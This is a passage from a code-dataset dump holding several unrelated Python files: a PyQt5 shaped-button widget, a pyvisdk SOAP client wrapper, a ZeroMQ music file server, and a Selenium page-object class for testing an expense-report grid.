Qt, QRect, QObject\nfrom PyQt5.QtGui import QColor, QPainter, QPainterPath, QPolygonF, QMouseEvent, QPen, QFont, QCursor\nfrom PyQt5.QtWidgets import QApplication, QToolTip, QWidget, QPushButton, QLabel, QHBoxLayout, QVBoxLayout, QDialog, \\\n QMessageBox\n\nclass Shape(QPushButton):\n def __init__(self):\n self.mypath = QPainterPath()\n self.col = QColor()\n\n def path(self):\n return self.mypath\n\n def color(self):\n return self.col\n\n def setPath(self, path):\n self.mypath = path\n\n def setPath2(self,path):\n self.mypath = path\n\n def setPosition(self, position):\n self.pos = position\n\n def setPen(self, pen):\n self.pen = pen\n\n def setColor(self, color):\n self.col = color\n\n\nclass Custom(QPushButton):\n def __init__(self, parent=None, x=None, y=None, w=None, h=None, text=None, type=1, msg_text=None,msg_text2=None,msg_text3=None\n , msg_text4=None,connected_btn=None, connected_btn_2=None, connected_btn_3=None, b=None):\n super(Custom, self).__init__(parent)\n self.msg_box = QMessageBox()\n self.click = False #버튼 클릭 flag\n self.x = x\n self.y = y\n self.w = w\n self.h = h\n self.text = text\n self.type = type\n self.msg_text = msg_text\n self.msg_text2 = msg_text2\n self.msg_text3 = msg_text3\n self.msg_text4 = msg_text4\n self.setGeometry(self.x, self.y, self.w, self.h)\n self.shapePath = QPainterPath()\n self.shapes = Shape()\n #클릭o 1 / 클릭x 0\n self.color = False\n if self.type == 0: # 둥근 사각형\n self.shapePath.addRoundedRect(70, 10, self.w-140, self.h-20, 10, 10)\n if self.type == 1: # 사각형\n self.shapePath.addRect(70, 10, self.w-140, self.h-20)\n elif self.type == 2: # 타원\n self.shapePath.addEllipse(0, 0, self.w, self.h)\n elif self.type == 3: # 마름모\n points = [QPoint(self.w / 2, 0),\n QPoint(0, self.h / 2),\n QPoint(self.w / 2, self.h),\n QPoint(self.w, self.h / 2),\n QPoint(self.w / 2, 0)]\n poly = QPolygonF(points)\n self.shapePath.addPolygon(poly)\n elif self.type == 4: # 육각형\n points = [QPoint(self.w / 12 * 11, 0),\n QPoint(self.w/12, 0),\n QPoint(0, self.h / 2),\n QPoint(self.w/12, self.h),\n QPoint(self.w / 12 * 11, self.h),\n QPoint(self.w, self.h / 2),\n QPoint(self.w / 12 * 11, 0)\n ]\n poly = QPolygonF(points)\n self.shapePath.addPolygon(poly)\n\n self.setMouseTracking(True)\n self.createShape(self.shapePath, QColor(221,221,221),QPen(Qt.black, 1))\n\n self.clicked.connect(self.btn_clicked)\n self.show()\n\n def btn_clicked(self):\n self.shapes.setColor(QColor(0, 176, 218)) #클릭시 바로 색 변환\n self.click = True\n\n def paintEvent(self, e):\n rect = QRect(0, 0, self.w, self.h)\n painter = QPainter(self)\n painter.setRenderHint(QPainter.Antialiasing)\n painter.setPen(QPen(Qt.black, 1)) # 도형 테두리\n if self.click:\n painter.setPen(QPen(Qt.black, 3)) # 도형 테두리\n painter.setBrush(self.shapes.color())\n painter.setFont(QFont('맑은 고딕', 14))\n painter.drawPath(self.shapes.path())\n painter.drawText(rect, Qt.AlignCenter, self.text)\n # self.update()\n\n def eventFilter(self, source, e):\n if source.objectName() == \"b1\" or source.objectName() == \"b2\" or source.objectName() == \"b3\" or source.objectName() == \"b4\" or source.objectName() == \"b5\" or source.objectName() == \"b6\" or source.objectName() == \"b7\" or source.objectName() == \"b8\"\\\n or source.objectName() == \"b9\" or source.objectName() == \"b10\"or source.objectName() == \"b11\"or source.objectName() == \"b12\"\\\n or source.objectName() == \"b13\"or source.objectName() == \"b14\"or source.objectName() == \"b15\"or source.objectName() == \"b16\"\\\n or source.objectName() == \"b17\"or source.objectName() == \"b18\":\n if e.type() == QEvent.MouseMove:\n if e.buttons() == Qt.NoButton:\n if source.shapes.path().contains(e.pos()):\n index = True\n else:\n index = -1\n if index != -1:\n source.setCursor(QCursor(Qt.PointingHandCursor))\n source.shapes.setColor(QColor(180, 180, 180))\n source.update()\n else:\n source.setCursor(QCursor(Qt.CustomCursor))\n source.shapes.setColor(QColor(221, 221, 221))\n return False\n return False\n return False\n\n\n def itemIndexAt(self, pos):#안에들어가면true\n if self.shapes.path().contains(QPointF(pos)):\n return True\n else:\n return -1\n\n def createShape(self, path, color, pen):\n self.shape = Shape()\n self.shape.setPath(path)\n self.shape.setColor(color)\n # self.shape.setPen(pen)\n self.shape.color()\n self.shapes = self.shape\n\n def flag(self):\n return self.b\n\n\n\n\nif __name__ == '__main__':\n app = QApplication(sys.argv)\n ex = Custom(x=500, y=500, w=300, h=300, text='bibi', type=4)\n ex.setObjectName(\"b1\")\n ex.show()\n app.installEventFilter(ex)\n sys.exit(app.exec_())","sub_path":"button.py","file_name":"button.py","file_ext":"py","file_size_in_byte":5755,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"332852588","text":"'''\nCreated on Mar 6, 2011\n\n@author: eplaster\n'''\nfrom pyvisdk import consts\nfrom pyvisdk.managedObjects import ManagedEntities\nfrom suds import MethodNotFound\nimport logging\nimport os.path\nimport suds\nimport types\n\nlog = logging.getLogger(__name__)\nlog.setLevel(logging.INFO)\n\nclass Delegate:\n \"\"\" delegates to the real method, and cleans up the return value \"\"\"\n \n def __init__(self, method):\n \"\"\" Initializes the delagate with the method to proxy \"\"\"\n self.__target = method\n \n def __call__(self, *args, **kwargs):\n \"\"\" calls original method \"\"\"\n log.debug(\"Calling %s\" % self.__target.method.name)\n \n return self.clean(self.__target(*args, **kwargs))\n\n def clean(self, objectContent):\n if type(objectContent) == types.ListType:\n out = []\n for x in objectContent:\n out.append(self.clean(x))\n return out\n elif objectContent.__class__.__name__ == \"ObjectContent\":\n obj = objectContent.obj\n if obj._type in consts.ManagedEntityTypes:\n return ManagedEntities[obj._type](self, objectContent)\n return objectContent\n \n\nclass Client(object):\n '''\n The Client class acts as a proxy to the suds.client.Client class, in that it fixes the\n ManagedObjectReference objects and provides a more streamline interface specific to VISDK\n '''\n def __init__(self, server, timeout=90):\n '''\n Constructor\n '''\n wsdl_dir = os.path.abspath(os.path.dirname(__file__))\n url = \"https://\" + server + '/sdk'\n client = suds.client.Client(\"file://\" + os.path.join(wsdl_dir, 'wsdl', 'vimService.wsdl'))\n client.set_options(faults=True)\n client.set_options(location=url)\n client.set_options(timeout=timeout)\n self.service = client.service\n self.url = url\n self.client = client\n self.server = server\n\n #\n # proxying (special cases)\n #\n def __getattribute__(self, attr):\n service = super(Client, self).__getattribute__(\"service\")\n \n # try the service\n try:\n _attr = getattr(service, attr)\n if _attr.__class__ == suds.client.Method:\n #return Delegate(_attr)\n return _attr\n else:\n return _attr\n except (AttributeError, MethodNotFound):\n # see if it's in the client object\n try:\n client = super(Client, self).__getattribute__(\"client\")\n _attr = getattr(client, attr)\n return _attr\n except (AttributeError, MethodNotFound):\n # if it's a member of this class...\n return super(Client, self).__getattribute__(attr)\n \n \n def typeIsA(self, searchType, foundType):\n if searchType == foundType:\n return True\n elif searchType == \"ManagedEntity\":\n for me in consts.ManagedEntityTypes:\n if me == foundType:\n return True\n elif searchType == \"ComputeResource\":\n for me in consts.ComputeResourcesTypes:\n if me == foundType:\n return True\n elif searchType == \"HistoryCollector\":\n for me in consts.HistoryCollectorTypes:\n if me == foundType:\n return True\n return False\n\n #def __delattr__(self, name):\n # delattr(object.__getattribute__(self, \"service\"), name)\n \n #def __setattr__(self, name, value):\n # setattr(object.__getattribute__(self, \"service\"), name, value)\n \n #def __nonzero__(self):\n # return bool(object.__getattribute__(self, \"service\"))\n \n #def __str__(self):\n # return str(object.__getattribute__(self, \"service\"))\n \n #def __repr__(self):\n # return repr(object.__getattribute__(self, \"service\"))","sub_path":"pyvisdk/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":3935,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"505805366","text":"import argparse\nimport zmq\nimport socket\nimport os.path\nimport hashlib\nimport random as rnd\n# CONSTANTS\nport = 5555\n\nchunksize = (1024**2)*3 #3 MB\nproxy = \"localhost:5535\"\nctx = zmq.Context()\n\n\n# ARGS PARSER\nparser = argparse.ArgumentParser()\nparser.add_argument(\"-p\", \"--port\", type=int, help=\"Socket running port\")\nparser.add_argument(\"-c\", \"--chunksize\", type=int,\n help=\"Amount of bytes to send, default 3MB\")\nparser.add_argument(\"-x\", \"--proxy\", help=\"ip and port of proxy\")\nargs = parser.parse_args()\nif args.port:\n port = args.port\nif args.chunksize:\n chunksize = mb *args.chunksize\nif args.proxy:\n proxy = args.proxy\n\n# FUNCTIONS\n\n\ndef getIp():\n try:\n s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n s.connect((\"8.8.8.8\", 80))\n ans = s.getsockname()[0]\n s.close()\n return str(ans)\n except Exception as e:\n print(e)\n\n\ndef printSocketsInfo():\n print(\"..Socket inicializado correctamente... {}\".format(\"tcp://*:\" + str(port)))\n print(\"..Proxy inicializado correctamente... {}\".format(\"tcp://...:5555\"))\n\n\n# CLASSES\nclass Server():\n def __init__(self):\n if not os.path.exists('songs'):\n os.makedirs('songs')\n self.port = port\n self.ip = \"localhost\"\n self.initializeSocket()\n self.printServerInfo()\n self.getServerId()\n self.announceServer()\n\n def getServerId(self):\n if os.path.exists(\"serverId.txt\"):\n f = open(\"serverId.txt\", \"r\")\n self.id = f.read()\n else:\n f = open(\"serverId.txt\", \"w\")\n id = str(rnd.randint(1, 100000000000000))\n f.write(id)\n self.id = id\n\n def printServerInfo(self):\n print(\"...Servidor inicializado...\")\n print(\"Port:\", port)\n print(\"Chunksize: {} MB\".format(int(chunksize/1000000)))\n print(\"IP: {}\".format(self.ip))\n\n def initializeSocket(self):\n try:\n self.socket = ctx.socket(zmq.REP)\n connection = \"tcp://*:\" + str(port)\n self.socket.bind(connection)\n ip = getIp()\n print(ip)\n if ip != \"\":\n self.ip = ip \n self.announceSocket = ctx.socket(zmq.REQ)\n self.announceSocket.connect(\"tcp://\" + proxy)\n printSocketsInfo()\n except Exception as e:\n print(e)\n\n def receiveRequest(self):\n resp = self.socket.recv_json()\n print(\"..Receiving..\")\n return resp\n\n def reply(self, req):\n rep = server.processRequest(req)\n server.socket.send_json(rep)\n\n def readfile(self, filename):\n try:\n with open(\"songs/\"+filename, \"rb\") as f:\n ans = {\n \"status\" : \"ok\",\n \"origin\" : \"server\",\n \"data\" : {\n \"bytes\": f.read().decode('iso8859-15')\n }\n }\n f.close()\n return ans\n except Exception as e:\n print(e)\n return {\n \"status\" : \"error\",\n \"origin\" : \"server\",\n \"data\" : {\n \"message\" : str(e)\n }\n }\n\n\n def processRequest(self, req):\n print(\"..Procesing...\")\n if req[\"origin\"] == \"proxy\":\n print(\"...From proxy...\")\n if req[\"type\"] == \"upload\":\n print(\"...Upload request...\")\n print(\"Receiving file: \", req[\"data\"][\"filename\"])\n return server.writeFile(req[\"data\"])\n elif req[\"origin\"] == \"client\":\n print(\"...From client...\")\n if req[\"type\"] == \"download\":\n print(\"...Download request...\")\n print(\"Download file: \", req[\"data\"][\"filename\"])\n return self.readfile(req[\"data\"][\"filename\"])\n\n def writeFile(self, data):\n with open(\"songs/\" + data[\"filename\"], \"wb\") as f:\n f.write(data[\"bytes\"].encode('iso8859-15')) #Reconversion from string to bytes\n print(\"File {} saved succesfully\".format(data[\"filename\"]))\n return {\n \"origin\": \"server\",\n \"type\": \"announce\",\n \"data\": \"File saved succesfully\"\n }\n\n def announceServer(self):\n print(\"..Announcing server..\")\n print(\"Sending data: Id: {}, ip: {}, port: {}\".format(self.id, self.ip, self.port))\n self.announceSocket.send_json({\n \"origin\": \"server\",\n \"type\": \"announcement\",\n \"id\": self.id,\n \"data\": {\n \"ip\": self.ip,\n \"port\": self.port\n }\n })\n print(self.announceSocket.recv_json())\n\n\nserver = Server()\n\nwhile True:\n try:\n req = server.receiveRequest()\n server.reply(req)\n except Exception as e:\n print(e)\n break\n","sub_path":"practicas/musica_distribuida/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":4895,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"636995242","text":"from python.entity.Expense import ExpenseReport\nfrom python.component.grid.GridPanelComponent import GridPanelComponent\nfrom python.component.pagepart.report.CreateEditExpenseBasicReportComponent import CreateEditExpenseBasicReportComponent\nfrom python.component.pagepart.report.CreateEditExpenseDetailReportComponent import CreateEditExpenseDetailReportComponent\nfrom python.component.pagepart.grid.ExpenseGridComponent import ExpenseGridComponent\nfrom python.component.pagepart.setting.PolicyViolationComponent import PolicyViolationComponent\nfrom robot.utils import asserts\n\nclass ReportExpenseGridComponent(GridPanelComponent):\n\n green_background_for_billable_merchants = \"rgb(213, 234, 140)\"\n orange_background_for_non_reimbursable = \"rgb(253, 225, 164)\"\n\n components = {\n CreateEditExpenseBasicReportComponent: \"id=gridReportExpenses\",\n CreateEditExpenseDetailReportComponent: \"id=gridReportExpenses\",\n ExpenseGridComponent: \"id=gridReportExpenses\",\n PolicyViolationComponent: \"id=gridReportExpenses\"\n }\n\n selectors = {\n \"checkbox_billable\":\"id=chckBillable\",\n \"checkbox_non_reimbursable\":\"id=chckNonReimbursable\",\n \"add_new_expense\":\"id=btnAddNewExpense\",\n \"add_existing_expense\":\"id=btnAddExistingExpense\",\n \"remove_expense\":\"id=btnRemoveSelected\",\n \"edit_multiple\":\"id=btnEditSelectedExpenses\",\n \"violation_policy_number\" : \"%(row_index)s//*[contains(@class,'{column}')]/div[@class='violation-cell']/div/sup\"\n }\n\n def _field_to_column(self, field, submitted=None):\n if submitted is not None and submitted != \"\":\n switcher = {\n \"Date\": \"c0\",\n \"Merchant\": \"c1\",\n \"Category\": \"c2\",\n \"Project\" : \"c3\",\n \"Client\" : \"c4\",\n \"Attendee\" :\"c5\",\n \"Note\" : \"c6\",\n \"Receipt\": \"c7\",\n \"Amount\": \"c8\"\n }\n else:\n switcher = {\n \"Check\": \"c0\",\n \"Date\": \"c1\",\n \"Merchant\": \"c2\",\n \"Category\": \"c3\",\n \"Project\" : \"c4\",\n \"Client\" : \"c5\",\n \"Attendee\" :\"c6\",\n \"Note\" : \"c7\",\n \"Receipt\": \"c8\",\n \"Amount\": \"c9\"\n }\n return switcher.get(field, \"nothing\")\n \n def verify_violation_policy_number_on_field_by_merchant_name(self, submitted, merchant_name, column,*list_number):\n index = self.get_index_by_merchant_name(merchant_name)\n column = self._field_to_column(column, submitted)\n list_locators = self.resolve_selector(\"violation_policy_number\", rowIndex=index, column=column)\n list_webelement = self.get_webelements(list_locators)\n for i in range(0, len(list_number)):\n message_policy = list_webelement[i].text.replace('- ', '') + \". \" + list_webelement[i].get_attribute('title')\n self.buildIn.should_contain(list_webelement[i].text, list_number[i])\n self.buildIn.should_contain(self.policyviolation.get_all_violation_policy_message(), message_policy)\n return self\n\n def verify_detail_section_have_only_cancel_button(self):\n self.createeditexpensedetailreport.verify_detail_section_have_only_cancel_button()\n return self\n\n def verify_date_field_should_be(self, date):\n return self.createeditexpensebasicreport.date_value_should_be(date)\n \n def verify_amount_should_be_disabled(self):\n return self.createeditexpensebasicreport.amount_should_be_disabled()\n \n def check_billable(self):\n self.select_checkbox(\"checkbox_billable\")\n return self\n\n def check_non_reimbursable(self):\n self.select_checkbox(\"checkbox_non_reimbursable\")\n return self\n\n def verify_show_report_by_type(self, merchant_name, type_show):\n all_rows = self._search_for_all_rows()\n for i in range(0, len(all_rows)):\n row = all_rows[i]\n merchant = self._convert_row_to_expense_in_report(i, row)\n if merchant.merchant == merchant_name:\n if type_show == \"billable\":\n cell_clientid = all_rows[i].get_element(i, 'cell_clientid')\n style_value = cell_clientid.get_attribute(\"style\")\n if self.green_background_for_billable_merchants in style_value:\n return True\n if type_show == \"non-reimbursable\":\n cell_clientid = all_rows[i].get_element(i, 'cell_amount')\n self.logger.debug(cell_clientid)\n style_value = cell_clientid.get_attribute(\"style\")\n if self.orange_background_for_non_reimbursable in style_value:\n return True\n return False\n\n def verify_expense_grid_buttons_is_visible(self, reportType=None):\n if reportType == \"Unsubmitted\":\n self.element_should_be_visible(\"add_new_expense\")\n self.element_should_be_visible(\"add_existing_expense\")\n self.element_should_be_visible(\"remove_expense\")\n self.element_should_be_visible(\"edit_multiple\")\n self.element_should_be_visible(\"checkbox_billable\")\n self.element_should_be_visible(\"checkbox_non_reimbursable\")\n return self\n\n def get_merchants_list(self):\n changes = []\n all_rows = self._search_for_all_rows()\n for i in range(0, len(all_rows)):\n row = all_rows[i]\n changes.append(self._convert_row_to_expense_in_report(i, row))\n return changes\n\n def _convert_row_to_expense_in_report(self, index, row):\n date = row._retrieve_cell_string_value(index, \"date\")\n merchant = row._retrieve_cell_string_value(index, \"name\")\n catparent = row._retrieve_cell_string_value(index, \"category_name\")\n project = row._retrieve_cell_string_value(index, \"project\")\n client = row._retrieve_cell_string_value(index, \"client\")\n attendee = row._retrieve_cell_string_value(index, \"attendees\")\n note = row._retrieve_cell_string_value(index, \"note\")\n receipt = row._retrieve_cell_string_value(index, \"receipt\")\n amount = row._retrieve_cell_string_value(index, \"amount\")\n\n artifact_change = ExpenseReport(date, merchant, catparent, project,\n client, attendee, note, receipt, amount)\n return artifact_change\n\n def expense_should_not_contain_link_add_receipt(self, merchant_name):\n self.expensegrid.expense_should_not_contain_link_add_receipt(merchant_name)\n return self\n\n def click_expense_by_merchant_name(self, merchant_name):\n self.expensegrid.click_expense_by_merchant_name(merchant_name)\n return self\n \n def wait_until_expense_show_by_merchant_name(self, merchant_name):\n self.expensegrid.wait_until_expense_show_by_merchant_name(merchant_name)\n return self\n\n def grid_should_contain_merchant(self, merchant_name):\n self.expensegrid.grid_should_contain_item(merchant_name)\n return self\n \n def grid_should_not_contain_merchant(self, merchant_name):\n self.expensegrid.grid_should_not_contain_item(merchant_name)\n return self\n \n def get_amounts_list(self):\n changes = []\n all_rows = self._search_for_all_rows()\n for i in range(0, len(all_rows)):\n cell_clientid = self.expensegrid.gridview.gridviewrow.resolve_selector(\"cell\", rowIndex=i, cellClass='cell_amount')\n amount = self.get_text(cell_clientid)\n changes.append(amount)\n return changes\n\n def detach_receipts(self, *args):\n self.createeditexpensedetailreport.detach_receipts(*args)\n return self\n\n def click_add_new_expense(self):\n return self.click_element(\"add_new_expense\")\n\n def click_remove_expense(self):\n self.logger.info(\">>> CLICK BUTTON REMOVE EXPENSE\")\n return self.click_element(\"remove_expense\")\n \n def verify_expense_after_editing_multiple(self, expense_report):\n arr_expense_reports = self.get_merchants_list()\n for item in arr_expense_reports:\n flag = True\n if (item.category != expense_report.catparent and\n item.project != expense_report.project and\n item.client != expense_report.client and\n item.attendees != expense_report.attendee and\n item.note != expense_report.note):\n flag = False\n break\n return flag\n \n def select_all_expenses_checkbox(self):\n return self.expensegrid.select_checkbox_all()\n \n def input_expense_basic_values(self, merchant, catparent, amount=None, childcat=None, client=None, project=None, attendee=None, note=None):\n if merchant != \"\":\n self.createeditexpensebasicreport.input_merchant(merchant)\n self.createeditexpensebasicreport.select_category_dropdown(catparent, childcat)\n if amount is not None and amount != \"\":\n self.createeditexpensebasicreport.input_amount(amount)\n if project is not None and project != \"\":\n self.logger.info(\">>> Input Project <<<\")\n self.createeditexpensebasicreport.input_project(project)\n if client is not None and client != \"\":\n self.logger.info(\">>> Input Client <<<\")\n self.createeditexpensebasicreport.input_client(client)\n if attendee is not None and attendee != \"\":\n self.logger.info(\">>> Input Attendees <<<\")\n self.createeditexpensebasicreport.input_attendees(attendee)\n if note is not None and note != \"\":\n self.logger.info(\">>> Input Attendee <<<\")\n self.createeditexpensebasicreport.input_note(note)\n return self\n\n def input_expense_detail(self, department=None, clazz=None, location=None, receipt=None, hourlyrate=None, tasktype=None, listTag=None,\n reimbursable=None, billable=None, makeRecurringFlag=None, showTaxesFlag=None, listTaxName=None, fromValues=None, toValues=None):\n if department is not None and department != \"\":\n self.logger.info(\">>> Input Department <<<\")\n self.createeditexpensedetailreport.input_deparment(department)\n if clazz is not None and clazz != \"\":\n self.logger.info(\">>> Input Class <<<\")\n self.createeditexpensedetailreport.input_class(clazz)\n if location is not None and location != \"\":\n self.logger.info(\">>> Input Location <<<\")\n self.createeditexpensedetailreport.input_location(location)\n if hourlyrate is not None and hourlyrate != \"\":\n self.logger.info(\">>> Input hourly rate <<<\")\n self.createeditexpensedetailreport.input_hour_rate(hourlyrate)\n if tasktype is not None and tasktype != \"\":\n self.logger.info(\">>> Input task type <<<\")\n self.createeditexpensedetailreport.input_task_type(tasktype)\n if listTag is not None and len(listTag) > 0:\n self.logger.info(\">>> Input tax <<<\")\n self.createeditexpensedetailreport.add_new_tag(listTag)\n if reimbursable is not None and reimbursable != \"\":\n self.logger.info(\">>> Select Reimbursable <<<\")\n self.createeditexpensedetailreport.select_reimbursable(reimbursable)\n if billable is not None and billable != \"\":\n self.logger.info(\">>> Select Billable <<<\")\n self.createeditexpensedetailreport.select_billable(billable)\n if makeRecurringFlag is not None:\n self.createeditexpensedetailreport.select_make_recurring(makeRecurringFlag)\n if fromValues is not None and fromValues != \"\":\n self.logger.info(\">>> Select From <<<\")\n self.createeditexpensedetailreport.input_from(fromValues)\n if toValues is not None and toValues != \"\":\n self.logger.info(\">>> Select To <<<\")\n self.createeditexpensedetailreport.input_to(toValues)\n if showTaxesFlag is not None:\n self.createeditexpensedetailreport.show_taxes(showTaxesFlag, listTaxName)\n return self\n\n def input_expense_values(self, merchant, catparent, amount, catchild, client, project, attendee, note, department,\n clazz, location, receipt, hourlyrate, tasktype, listTag, reimbursable, billable,\n makeRecurringFlag, showTaxesFlag, listTaxName, fromValues, toValues):\n self.input_expense_basic_values(merchant, catparent, amount, catchild, client, project, attendee, note)\n if not self._is_visible(\"expense_detail_panel\"):\n self.click_edit_detail_panel()\n self.input_expense_detail(department, clazz, location, receipt, hourlyrate, tasktype, listTag, reimbursable,\n billable, makeRecurringFlag, showTaxesFlag, listTaxName, fromValues, toValues)\n return self\n\n def create_basic_expense(self, merchant, catparent, amount, catchild=None, client=None, project=None, attendee=None, note=None):\n self.input_expense_basic_values(merchant, catparent, amount, catchild, client, project, attendee, note)\n self.createeditexpensebasicreport.click_button_save_basic_expense()\n return self\n \n def edit_category_expense(self, catparent, childcat=None):\n self.createeditexpensebasicreport.select_category_dropdown(catparent, childcat)\n return self\n\n def create_expense_in_report_detail_page(self, merchant, catparent, amount, catchild, client, project, attendee, note, department,\n clazz, location, receipt, hourlyrate, tasktype, listTag, reimbursable, billable,\n makeRecurringFlag, showTaxesFlag, listTaxName, fromValues, toValues):\n self.input_expense_values(merchant, catparent, amount, catchild, client, project, attendee, note, department,\n clazz, location, receipt, hourlyrate, tasktype, listTag, reimbursable, billable,\n makeRecurringFlag, showTaxesFlag, listTaxName, fromValues, toValues)\n self.createeditexpensedetailreport.click_button_save_detail_expense()\n self._wait_to_load()\n return self\n\n def clear_receipts_tags_if_exist(self):\n self.createeditexpensedetailreport.clear_receipt()\n self.createeditexpensedetailreport.clear_tags()\n return self\n\n def receipts_should_detached_out_detail_panel(self, *args):\n return self.createeditexpensedetailreport.receipts_should_detached_out_detail_panel(*args)\n\n def click_edit_detail_panel(self):\n self.createeditexpensebasicreport.click_edit_detail_panel()\n return self\n\n def add_new_tag(self, listTag):\n return self.createeditexpensedetailreport.add_new_tag(listTag)\n\n def click_button_cancel_detail_expense(self):\n self.createeditexpensedetailreport.click_button_cancel_detail_expense()\n return self\n\n def click_date_input(self):\n self.createeditexpensebasicreport.click_date_input()\n return self\n\n def click_button_edit_multiple_expense(self):\n self.click_element(\"edit_multiple\")\n return self\n \n def expense_should_contain_basic_values(self, date, merchant, amount, category=None, project=None, client=None, attendee=None, note=None, receipt=None):\n merchant = self.get_expense_basic_value_via_merchant_name(merchant)\n asserts.assert_equal(merchant.date, date)\n newAmountFormat = format(float(amount), ',.2f')\n asserts.assert_equal(merchant.amount, newAmountFormat)\n if category is not None and category != \"\":\n asserts.assert_equal(merchant.category, category)\n if project is not None and project != \"\":\n asserts.assert_equal(merchant.project, project)\n if client is not None and client != \"\":\n asserts.assert_equal(merchant.client, client)\n if attendee is not None and attendee != \"\":\n asserts.assert_equal(merchant.attendee, attendee)\n if note is not None and note != \"\":\n asserts.assert_equal(merchant.note, note)\n if receipt is not None and receipt != \"\":\n asserts.assert_equal(merchant.receipt, receipt)\n return self\n \n def expense_editor_should_contain_basic_values(self, date, merchant, amount=None, catparent=None, catchild=None):\n self.createeditexpensebasicreport.date_value_should_be(date)\n self.createeditexpensebasicreport.merchant_value_should_be(merchant)\n if catchild is not None and catchild != \"\":\n self.createeditexpensebasicreport.category_value_should_be(catchild)\n elif catparent is not None and catparent != \"\":\n self.createeditexpensebasicreport.category_value_should_be(catparent)\n if amount is not None and amount != \"\":\n self.createeditexpensebasicreport.amount_value_should_be(amount)\n return self\n \n\n def expense_editor_should_contain_values(self, date, merchant, amount, catparent=None, catchild=None, client=None, project=None, attendee=None, note=None,\n department=None, clazz=None, location=None, receipt=None, hourlyrate=None, tasktype=None, listTag=None, reimbursable=None,\n billable=None, makeRecurringFlag=None, showTaxesFlag=None, listTaxName=None, fromValues=None, toValues=None):\n newAmountFormat = format(int(amount), ',.2f')\n self.expense_editor_should_contain_basic_values(date, merchant, newAmountFormat, catparent, catchild)\n if project is not None and project != \"\":\n self.createeditexpensebasicreport.project_value_should_be(project)\n if receipt is not None and receipt != \"\":\n self.createeditexpensedetailreport.receipts_should_attached_to_detail_panel(receipt)\n if client is not None and client != \"\":\n self.createeditexpensebasicreport.client_value_should_be(client)\n if attendee is not None and attendee != \"\":\n self.createeditexpensebasicreport.attendees_value_should_be(attendee)\n if note is not None and note != \"\":\n self.createeditexpensebasicreport.note_value_should_be(note)\n if not self._is_visible(\"expense_detail_panel\"):\n self.click_edit_detail_panel()\n if department is not None and department != \"\":\n self.createeditexpensedetailreport.department_value_should_be(department)\n if clazz is not None and clazz != \"\":\n self.createeditexpensedetailreport.clazz_value_should_be(clazz)\n if location is not None and location != \"\":\n self.createeditexpensedetailreport.location_value_should_be(location)\n if hourlyrate is not None and hourlyrate != \"\":\n self.createeditexpensedetailreport.hourly_rate_value_should_be(hourlyrate)\n if tasktype is not None and tasktype != \"\":\n self.createeditexpensedetailreport.task_type_value_should_be(tasktype)\n if listTag is not None and listTag != \"\":\n self.createeditexpensedetailreport.tags_value_should_be(listTag)\n if reimbursable is not None and reimbursable != \"\":\n self.createeditexpensedetailreport.reimbursable_value_should_be(reimbursable)\n if billable is not None and billable != \"\":\n self.createeditexpensedetailreport.billable_value_should_be(billable)\n if makeRecurringFlag is not None and makeRecurringFlag:\n self.createeditexpensedetailreport.make_recurring_should_be_selected()\n else:\n self.createeditexpensedetailreport.make_recurring_should_not_be_selected()\n if showTaxesFlag is not None and showTaxesFlag.lower() == \"true\":\n self.createeditexpensedetailreport.show_taxes_should_be_selected()\n self.createeditexpensedetailreport.taxes_dropdown_should_show_list_value(listTaxName)\n else:\n self.createeditexpensedetailreport.show_taxes_should_not_be_selected()\n if fromValues is not None and fromValues != \"\":\n self.createeditexpensedetailreport.from_value_should_be(fromValues)\n if toValues is not None and toValues != \"\":\n self.createeditexpensedetailreport.to_value_should_be(toValues)\n return self\n \n def report_table_basic_editor_should_be_displayed(self):\n return self.createeditexpensebasicreport.report_table_basic_editor_should_be_displayed()\n \n def click_button_choose_existing_receipt(self):\n return self.createeditexpensedetailreport.click_button_choose_existing_receipt()\n \n def click_button_save_basic_expense(self):\n return self.createeditexpensebasicreport.click_button_save_basic_expense()\n \n def click_button_save_detail_expense(self):\n self.createeditexpensedetailreport.click_button_save_detail_expense()\n return self\n\n def upload_receipts(self, path, *args):\n return self.createeditexpensedetailreport.upload_receipts(path, *args)\n\n def receipts_should_attached_to_detail_panel(self, *args):\n return self.createeditexpensedetailreport.receipts_should_attached_to_detail_panel(*args)\n \n def click_on_attached_receipt_detail_expense(self, receipt):\n return self.createeditexpensedetailreport.click_on_attached_receipt_detail_expense(receipt)\n\n def verify_expense_detail_fields(self):\n return self.createeditexpensedetailreport.verify_expense_detail_fields()\n \n def is_expense_grid_empty(self):\n return self.expensegrid.is_expense_grid_empty()\n \n def get_amount_text_via_merchant_name(self, merchant_name):\n locator = self.expensegrid.resolve_selector(\"expense_basic_values\", merchant=merchant_name, column=self._field_to_column('Amount'))\n return self.get_text(locator)\n \n def get_expense_basic_value_via_merchant_name(self, merchantName):\n date = self.get_text(self.expensegrid.resolve_selector(\"expense_basic_values\", merchant=merchantName, column=self._field_to_column('Date'))).strip()\n merchant = self.get_text(self.expensegrid.resolve_selector(\"expense_basic_values\", merchant=merchantName, column=self._field_to_column('Merchant'))).strip()\n category = self.get_text(self.expensegrid.resolve_selector(\"expense_basic_values\", merchant=merchantName, column=self._field_to_column('Category'))).strip()\n project = self.get_text(self.expensegrid.resolve_selector(\"expense_basic_values\", merchant=merchantName, column=self._field_to_column('Project'))).strip()\n client = self.get_text(self.expensegrid.resolve_selector(\"expense_basic_values\", merchant=merchantName, column=self._field_to_column('Client'))).strip()\n attendee = self.get_text(self.expensegrid.resolve_selector(\"expense_basic_values\", merchant=merchantName, column=self._field_to_column('Attendee'))).strip()\n note = self.get_text(self.expensegrid.resolve_selector(\"expense_basic_values\", merchant=merchantName, column=self._field_to_column('Note'))).strip()\n receipt = self.get_text(self.expensegrid.resolve_selector(\"expense_basic_values\", merchant=merchantName, column=self._field_to_column('Receipt'))).strip()\n amount = self.get_text(self.expensegrid.resolve_selector(\"expense_basic_values\", merchant=merchantName, column=self._field_to_column('Amount'))).strip().split(' ')[0]\n artifactChange = ExpenseReport(date, merchant, category, project, client, attendee, note, receipt, amount)\n return artifactChange\n\n def get_index_by_merchant_name(self, merchant_name):\n locator_merchant = self.expensegrid.resolve_selector(\"expense_merchant\", 